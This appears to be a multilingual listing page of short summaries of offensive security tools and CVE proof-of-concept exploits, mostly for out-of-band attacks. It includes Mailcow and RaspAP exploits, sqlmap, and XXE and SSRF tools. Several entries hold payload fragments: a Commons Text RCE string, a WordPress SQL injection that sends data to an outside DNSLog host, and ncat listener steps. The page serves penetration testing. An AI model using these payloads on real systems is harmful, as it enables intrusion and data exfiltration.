CVE-2025-25198-PoC

CVE-2025-25198-PoC 针对 CVE-2025-25198 的概念验证（PoC），该漏洞是一个影响 Mailcow 密码重置流程的 Host 头投毒问题。 该脚本会在 443 端口启动一个本地 HTTPS 监听器，自动获取有效的 CSRF 令牌，通过被投毒的 Host 头发送密码重置序列，并在从 HTTP 响应或监听器回调中恢复出重置链接时停止。 功能说明 1. 启动一个使用自签名证书的 HTTPS 监听器。 2. 创建一个全新的 HTTP 客户端会话。 3. 自动获取 CSRF 令牌。 4. 使用受控的 Host 头发送重置流程。 5. 从响应和重定向中提取重置链接。 6...

CVE-2022-42889-POC

CVE-2022-42889-POC 一个简单的演示应用程序，展示了如何利用CVE-2022-42889漏洞。 利用OOB（带外）服务来演示dns和url前缀。 JavaDocs for commons-text interpolation commons-text JavaDocs 插值示例 script:javascript "$script:javascript:java.lang.Runtime.getRuntime.exec'touch /tmp/blop'" dns "$dns:address|HOST" url "$url:UTF-8:http://HOST" 来自...

XXEinjector

XXEinjector XXEinjector は、直接および Out of Band 方式を使用したファイル取得を自動化します。ディレクトリリストは Java アプリケーションでのみ機能します。他のアプリケーションでは、ブルートフォース方式を使用する必要があります。 オプション: root@kitploit: --host Mandatory - our IP address for reverse connections. --host=192.168.0.2 --file Mandatory - file containing valid HTTP request with xml...

dnsobserver

DNSObserver Goで書かれた便利なDNSサービスで、いくつかの種類のブラインド脆弱性の検出を支援します。ペンテスターのサーバーを監視してアウトオブバンドDNSインタラクションを検出し、受信したリクエストの詳細をSlack経由で通知します。DNSObserverは、ブラインドOSコマンドインジェクション、ブラインドSQLi、ブラインドXXEなどのバグを見つけるのに役立ちます！ 詳細な概要とセットアップ手順については、以下を参照してください： https://www.allysonomalley.com/2020/05/22/dnsobserver/ Setup 必要なもの：...

RMASmoke

RMASmoke Una herramienta para deshabilitar Write-Protect usando una escritura oob en el TPM2 COMPILACIÓN Consulta BUILDING.MD;...

w3af

sqlmap sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 スクリーンショット wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。...

RaspAP <=2.6.5 - Remote Command Injection

RaspAP 2.6 to 2.6.5 allows unauthenticated attackers to execute arbitrary OS commands via the "iface" GET parameter in /ajax/networking/getnetcfg.php, when the "iface" parameter value contains special characters such as ";". id: CVE-2021-33357 info: name: RaspAP =2.6.5 - Remote Command Injection...

interactsh

An OOB interaction gathering server and client library Features • Usage • • • •...

sqlmap

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...

sqlmap

sqlmap sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。 強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。 スクリーンショット wikiに載っているいくつかの機能のデモをスクリーンショットで見ることができます。 スクリーンショ...

Arecibo

Arecibo Endpoint para exfiltración fuera de banda DNS y HTTP Autores Juan Manuel Fernández @TheXC3LL y Pablo Martinez @Xassiz Exfiltración DNS Crear un nuevo token: root@kitploit: curl localhost:5000/generatedns "htoken": "c008b5dd22817c50441522f917c66743" Ahora puedes usar este token...

xcat

XCat XCat is a command line tool to exploit and investigate blind XPath injection vulnerabilities. For a complete reference read the documentation here: https://xcat.readthedocs.io/en/latest/ It supports an large number of features: Auto-selects injections run xcat injections for a list Detects t...

mole

Mole アウトオブバンド（OOB）脆弱性の特定と悪用のためのフレームワーク。 インストールとセットアップ Mole のインストール Python = 3.6 virtualenv -p /usr/bin/python3 venv source venv/bin/activate ./venv/bin/pip3 install -r requirements.txt git submodule update --init --recursive config.yml に API キーを設定します（クライアントとサーバーで同じキーを使用する必要があります）。 DNS 設定 レジストラで D...

cve-2022-33891

cve-2022-33891 用法： root@kitploit: pip3 install requests If you do not use the -d parameter, the dnslog domain name will be automatically applied for you. 如果你不使用-d参数，则会自动为您申请dnslog域名。 python3 cve202233891poc.py -u http://127.0.0.1 python3 cve202233891poc.py -f url.txt python3 cve202233891poc.py -u...

lorsrf

LORSRF - 2.1 Lorsrfは、SSRFまたはOut-of-bandリソースロード攻撃に悪用可能なパラメータを特定するために設計された強力なWeb侵入テストツールです。Burp CollaboratorのようなOASTホストをパラメータ値に追加することで、Lorsrfは対象に関する実際の情報なしに、Burp Collaboratorで受信されるHTTPリクエストを生成できます。...

shennina

Shennina Automating Host Exploitation with AI Abstract Shennina is an automated host exploitation framework. The mission of the project is to fully automate the scanning, vulnerability scanning/analysis, and exploitation using Artificial Intelligence. Shennina is integrated with Metasploit and Nm...

CVE-2021-3262

CVE-2021-3262 TripSpark VEO Transportation / NovusEDU 中的 SQL 注入 随 TripSpark VEO Transportation 一起提供的公开“学生班车信息”查询页面接收未经验证的 POST 正文输入，并将其直接拼接进 SQL Server 查询，既未使用参数化查询，也未进行服务端校验。editOEN 参数（学号字段）可被注入。 该注入为盲注：应用程序不会返回数据库错误，也没有值得读取的差异内容。但它仍然可以通过带外方式完全利用，因为数据库连接可以访问 master.dbo.xpdirtree，这会强制 SQL Server...

CVE-2025-32375

漏洞版本设置 启动漏洞容器： root@kitploit: docker compose up 创建一个监听器（例如 ncat）： root@kitploit: ncat -klnv 1337 运行漏洞利用程序： root@kitploit: python3 exploit.py 如果一切正常，你应该会在 ncat 窗口中收到一个 HTTP 请求，其中包含 OS 命令（默认情况下为 id）的执行结果。 致谢 漏洞发现者：SeaW1nd 基于 VickyTheViking 的测试环境设置...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 路径：http://your target/wp-admin/admin-ajax.php 注入类型是带外（out-of-band），你需要自行指定DNSLog并替换ceye.io POST- DATA："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

CVE-2024-22024

CVE-2024-22024 检查 Ivanti Connect Secure 中的 CVE-2024-22024 漏洞 !WARNING 仅供教育目的和授权测试使用。 参数 -u 或 --targeturl：目标 Ivanti Connect Secure ICS URL 或包含 URL 列表的文件。 -c 或 --attackerurl：攻击者 URL（可通过 Burp Collaborator、ngrok 或使用 Webhook.site 的唯一 URL 生成） -t 或 --timeout：请求的超时时间（秒），默认值为 3 秒 使用方法 测试单个 URL： python...